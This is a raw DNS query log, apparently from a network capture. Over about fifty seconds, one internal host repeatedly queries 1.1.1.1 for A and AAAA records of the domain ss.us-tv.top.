Nov 2, 2024 04:01:20.468523979 CET	192.168.2.13	1.1.1.1	0x8910	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:20.469129086 CET	192.168.2.13	1.1.1.1	0x9e3c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:20.475574017 CET	192.168.2.13	1.1.1.1	0x8910	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:20.476371050 CET	192.168.2.13	1.1.1.1	0x9e3c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:21.582624912 CET	192.168.2.13	1.1.1.1	0x5e96	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:21.583508968 CET	192.168.2.13	1.1.1.1	0x8342	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:21.589948893 CET	192.168.2.13	1.1.1.1	0x5e96	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:21.590545893 CET	192.168.2.13	1.1.1.1	0x8342	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:22.608803988 CET	192.168.2.13	1.1.1.1	0xcd56	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:22.610306025 CET	192.168.2.13	1.1.1.1	0xfc23	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:22.615820885 CET	192.168.2.13	1.1.1.1	0xcd56	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:22.617109060 CET	192.168.2.13	1.1.1.1	0xfc23	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:23.636806011 CET	192.168.2.13	1.1.1.1	0x6f24	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:23.640563011 CET	192.168.2.13	1.1.1.1	0x9d04	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:23.644332886 CET	192.168.2.13	1.1.1.1	0x6f24	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:23.648016930 CET	192.168.2.13	1.1.1.1	0x9d04	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:24.660609961 CET	192.168.2.13	1.1.1.1	0x7474	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:24.661807060 CET	192.168.2.13	1.1.1.1	0xf83b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:24.667954922 CET	192.168.2.13	1.1.1.1	0x7474	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:24.668955088 CET	192.168.2.13	1.1.1.1	0xf83b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:25.688788891 CET	192.168.2.13	1.1.1.1	0xe7e4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:25.691416025 CET	192.168.2.13	1.1.1.1	0xca2e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:25.697315931 CET	192.168.2.13	1.1.1.1	0xe7e4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:25.700233936 CET	192.168.2.13	1.1.1.1	0xca2e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:25.705465078 CET	192.168.2.13	1.1.1.1	0xe7e4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:26.848567009 CET	192.168.2.13	1.1.1.1	0x4380	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:26.848745108 CET	192.168.2.13	1.1.1.1	0x6de3	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:26.859241009 CET	192.168.2.13	1.1.1.1	0x4380	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:26.859626055 CET	192.168.2.13	1.1.1.1	0x6de3	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:27.878237963 CET	192.168.2.13	1.1.1.1	0x73ad	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:27.879618883 CET	192.168.2.13	1.1.1.1	0xde8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:27.888689041 CET	192.168.2.13	1.1.1.1	0x73ad	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:27.968691111 CET	192.168.2.13	1.1.1.1	0xde8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:28.987052917 CET	192.168.2.13	1.1.1.1	0x30a1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:28.989574909 CET	192.168.2.13	1.1.1.1	0xfb7a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:28.994076014 CET	192.168.2.13	1.1.1.1	0x30a1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:28.996697903 CET	192.168.2.13	1.1.1.1	0xfb7a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:30.016634941 CET	192.168.2.13	1.1.1.1	0x16df	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:30.019861937 CET	192.168.2.13	1.1.1.1	0x83dc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:30.024898052 CET	192.168.2.13	1.1.1.1	0x16df	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:30.027378082 CET	192.168.2.13	1.1.1.1	0x83dc	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:31.047090054 CET	192.168.2.13	1.1.1.1	0x989b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:31.049154043 CET	192.168.2.13	1.1.1.1	0x590d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:31.054096937 CET	192.168.2.13	1.1.1.1	0x989b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:31.056647062 CET	192.168.2.13	1.1.1.1	0x590d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:32.070753098 CET	192.168.2.13	1.1.1.1	0xb465	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:32.072015047 CET	192.168.2.13	1.1.1.1	0x4611	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:32.078094006 CET	192.168.2.13	1.1.1.1	0xb465	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:32.079380989 CET	192.168.2.13	1.1.1.1	0x4611	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:33.098495007 CET	192.168.2.13	1.1.1.1	0xf0ec	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:33.099298000 CET	192.168.2.13	1.1.1.1	0xe845	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:33.105757952 CET	192.168.2.13	1.1.1.1	0xf0ec	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:33.106256008 CET	192.168.2.13	1.1.1.1	0xe845	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:34.118942022 CET	192.168.2.13	1.1.1.1	0x271d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:34.120054960 CET	192.168.2.13	1.1.1.1	0x9eda	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:34.126358986 CET	192.168.2.13	1.1.1.1	0x271d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:34.127405882 CET	192.168.2.13	1.1.1.1	0x9eda	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:35.140259027 CET	192.168.2.13	1.1.1.1	0x5b28	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:35.141875029 CET	192.168.2.13	1.1.1.1	0x4778	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:35.147557020 CET	192.168.2.13	1.1.1.1	0x5b28	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:35.148510933 CET	192.168.2.13	1.1.1.1	0x4778	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:36.162636995 CET	192.168.2.13	1.1.1.1	0x3ea4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:36.167886019 CET	192.168.2.13	1.1.1.1	0x4e8c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:36.169922113 CET	192.168.2.13	1.1.1.1	0x3ea4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:36.175060987 CET	192.168.2.13	1.1.1.1	0x4e8c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:36.186868906 CET	192.168.2.13	1.1.1.1	0x4e8c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:37.817279100 CET	192.168.2.13	1.1.1.1	0xc0c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:37.817481041 CET	192.168.2.13	1.1.1.1	0x421c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:37.825193882 CET	192.168.2.13	1.1.1.1	0x421c	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:37.825258970 CET	192.168.2.13	1.1.1.1	0xc0c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:38.841407061 CET	192.168.2.13	1.1.1.1	0x390a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:38.842655897 CET	192.168.2.13	1.1.1.1	0x3999	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:38.848449945 CET	192.168.2.13	1.1.1.1	0x390a	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:38.849839926 CET	192.168.2.13	1.1.1.1	0x3999	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:39.866683960 CET	192.168.2.13	1.1.1.1	0x8746	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:39.867701054 CET	192.168.2.13	1.1.1.1	0x5a43	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:39.874794006 CET	192.168.2.13	1.1.1.1	0x5a43	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:39.882266998 CET	192.168.2.13	1.1.1.1	0x8746	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:40.898185968 CET	192.168.2.13	1.1.1.1	0xf4f2	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:40.899175882 CET	192.168.2.13	1.1.1.1	0x85fd	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:40.905500889 CET	192.168.2.13	1.1.1.1	0xf4f2	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:40.906522989 CET	192.168.2.13	1.1.1.1	0x85fd	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:41.921875954 CET	192.168.2.13	1.1.1.1	0xa4cb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:41.923599958 CET	192.168.2.13	1.1.1.1	0x6227	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:41.928687096 CET	192.168.2.13	1.1.1.1	0xa4cb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:41.930203915 CET	192.168.2.13	1.1.1.1	0x6227	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:42.950377941 CET	192.168.2.13	1.1.1.1	0xa3d9	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:42.954062939 CET	192.168.2.13	1.1.1.1	0xd3ae	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:42.957629919 CET	192.168.2.13	1.1.1.1	0xa3d9	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:42.961301088 CET	192.168.2.13	1.1.1.1	0xd3ae	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:43.980074883 CET	192.168.2.13	1.1.1.1	0x4188	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:43.981370926 CET	192.168.2.13	1.1.1.1	0xfd1d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:43.987071991 CET	192.168.2.13	1.1.1.1	0x4188	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:44.070624113 CET	192.168.2.13	1.1.1.1	0xfd1d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:45.084423065 CET	192.168.2.13	1.1.1.1	0x1aa6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:45.085752964 CET	192.168.2.13	1.1.1.1	0xf43d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:45.091480970 CET	192.168.2.13	1.1.1.1	0x1aa6	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:45.092860937 CET	192.168.2.13	1.1.1.1	0xf43d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:45.099395990 CET	192.168.2.13	1.1.1.1	0xf43d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:46.240367889 CET	192.168.2.13	1.1.1.1	0x96fc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:46.240556002 CET	192.168.2.13	1.1.1.1	0x5c89	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:46.247179985 CET	192.168.2.13	1.1.1.1	0x5c89	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:46.247347116 CET	192.168.2.13	1.1.1.1	0x96fc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:46.253848076 CET	192.168.2.13	1.1.1.1	0x5c89	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:47.397048950 CET	192.168.2.13	1.1.1.1	0x27e7	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:47.399334908 CET	192.168.2.13	1.1.1.1	0xdc73	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:47.404396057 CET	192.168.2.13	1.1.1.1	0x27e7	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:47.406358957 CET	192.168.2.13	1.1.1.1	0xdc73	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:48.425494909 CET	192.168.2.13	1.1.1.1	0x4901	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:48.427520990 CET	192.168.2.13	1.1.1.1	0xeb7e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:48.433186054 CET	192.168.2.13	1.1.1.1	0x4901	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:48.435451031 CET	192.168.2.13	1.1.1.1	0xeb7e	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:49.453649044 CET	192.168.2.13	1.1.1.1	0x2797	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:49.454251051 CET	192.168.2.13	1.1.1.1	0xf762	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:49.460870981 CET	192.168.2.13	1.1.1.1	0x2797	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:49.461219072 CET	192.168.2.13	1.1.1.1	0xf762	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:50.477374077 CET	192.168.2.13	1.1.1.1	0x3b8b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:50.480026007 CET	192.168.2.13	1.1.1.1	0xa8e3	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:50.485470057 CET	192.168.2.13	1.1.1.1	0x3b8b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:50.487107038 CET	192.168.2.13	1.1.1.1	0xa8e3	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:51.503371954 CET	192.168.2.13	1.1.1.1	0x7cba	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:51.504966021 CET	192.168.2.13	1.1.1.1	0x3746	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:51.510679007 CET	192.168.2.13	1.1.1.1	0x7cba	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:51.512078047 CET	192.168.2.13	1.1.1.1	0x3746	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:52.527277946 CET	192.168.2.13	1.1.1.1	0x70a8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:52.527462959 CET	192.168.2.13	1.1.1.1	0x852d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:52.534698009 CET	192.168.2.13	1.1.1.1	0x70a8	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:52.534725904 CET	192.168.2.13	1.1.1.1	0x852d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:53.550776958 CET	192.168.2.13	1.1.1.1	0x493d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:53.553834915 CET	192.168.2.13	1.1.1.1	0x4816	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:53.557742119 CET	192.168.2.13	1.1.1.1	0x493d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:53.560981989 CET	192.168.2.13	1.1.1.1	0x4816	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:54.575643063 CET	192.168.2.13	1.1.1.1	0x53f9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:54.577750921 CET	192.168.2.13	1.1.1.1	0xb739	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:54.584940910 CET	192.168.2.13	1.1.1.1	0xb739	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:54.667262077 CET	192.168.2.13	1.1.1.1	0x53f9	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:55.683047056 CET	192.168.2.13	1.1.1.1	0xfb79	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:55.686291933 CET	192.168.2.13	1.1.1.1	0x27d7	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:55.690094948 CET	192.168.2.13	1.1.1.1	0xfb79	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:55.693202019 CET	192.168.2.13	1.1.1.1	0x27d7	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:56.711592913 CET	192.168.2.13	1.1.1.1	0x599b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:56.712831020 CET	192.168.2.13	1.1.1.1	0xa6a1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:56.718652964 CET	192.168.2.13	1.1.1.1	0x599b	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:56.720068932 CET	192.168.2.13	1.1.1.1	0xa6a1	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:57.736129045 CET	192.168.2.13	1.1.1.1	0x31fc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:57.737368107 CET	192.168.2.13	1.1.1.1	0x6c14	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:57.743438959 CET	192.168.2.13	1.1.1.1	0x31fc	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:57.744370937 CET	192.168.2.13	1.1.1.1	0x6c14	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:58.763117075 CET	192.168.2.13	1.1.1.1	0xf4cb	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:58.766980886 CET	192.168.2.13	1.1.1.1	0x8bc0	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:58.774342060 CET	192.168.2.13	1.1.1.1	0x8bc0	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:58.855457067 CET	192.168.2.13	1.1.1.1	0xf4cb	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:59.875602961 CET	192.168.2.13	1.1.1.1	0x9c98	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:59.879405022 CET	192.168.2.13	1.1.1.1	0x7311	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:59.882800102 CET	192.168.2.13	1.1.1.1	0x9c98	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:01:59.886907101 CET	192.168.2.13	1.1.1.1	0x7311	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:00.909936905 CET	192.168.2.13	1.1.1.1	0xe980	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:00.913233995 CET	192.168.2.13	1.1.1.1	0x52b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:00.917184114 CET	192.168.2.13	1.1.1.1	0xe980	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:00.920212030 CET	192.168.2.13	1.1.1.1	0x52b	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:01.933754921 CET	192.168.2.13	1.1.1.1	0xaa9d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:01.933873892 CET	192.168.2.13	1.1.1.1	0x1b80	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:01.940792084 CET	192.168.2.13	1.1.1.1	0x1b80	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:01.940987110 CET	192.168.2.13	1.1.1.1	0xaa9d	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:02.957006931 CET	192.168.2.13	1.1.1.1	0x3e60	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:02.957132101 CET	192.168.2.13	1.1.1.1	0x5f3	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:02.963957071 CET	192.168.2.13	1.1.1.1	0x3e60	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:02.964179993 CET	192.168.2.13	1.1.1.1	0x5f3	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:03.980223894 CET	192.168.2.13	1.1.1.1	0x78ed	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:03.980429888 CET	192.168.2.13	1.1.1.1	0xa9e8	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:03.987633944 CET	192.168.2.13	1.1.1.1	0x78ed	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:03.999429941 CET	192.168.2.13	1.1.1.1	0x78ed	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:04.083683014 CET	192.168.2.13	1.1.1.1	0xa9e8	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:05.653327942 CET	192.168.2.13	1.1.1.1	0x7224	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:05.653604031 CET	192.168.2.13	1.1.1.1	0x4920	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:05.660578012 CET	192.168.2.13	1.1.1.1	0x7224	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:05.661007881 CET	192.168.2.13	1.1.1.1	0x4920	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:06.676419973 CET	192.168.2.13	1.1.1.1	0xd528	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:06.678694010 CET	192.168.2.13	1.1.1.1	0x22c4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:06.683711052 CET	192.168.2.13	1.1.1.1	0xd528	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:06.686043024 CET	192.168.2.13	1.1.1.1	0x22c4	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:07.700320005 CET	192.168.2.13	1.1.1.1	0x7365	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:07.700531006 CET	192.168.2.13	1.1.1.1	0x820c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:07.707726955 CET	192.168.2.13	1.1.1.1	0x7365	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:07.708112955 CET	192.168.2.13	1.1.1.1	0x820c	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:08.723372936 CET	192.168.2.13	1.1.1.1	0x9186	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:08.724308014 CET	192.168.2.13	1.1.1.1	0x848a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:08.730479002 CET	192.168.2.13	1.1.1.1	0x9186	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:08.731239080 CET	192.168.2.13	1.1.1.1	0x848a	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:09.749377012 CET	192.168.2.13	1.1.1.1	0xe499	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:02:09.749763012 CET	192.168.2.13	1.1.1.1	0x25d2	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
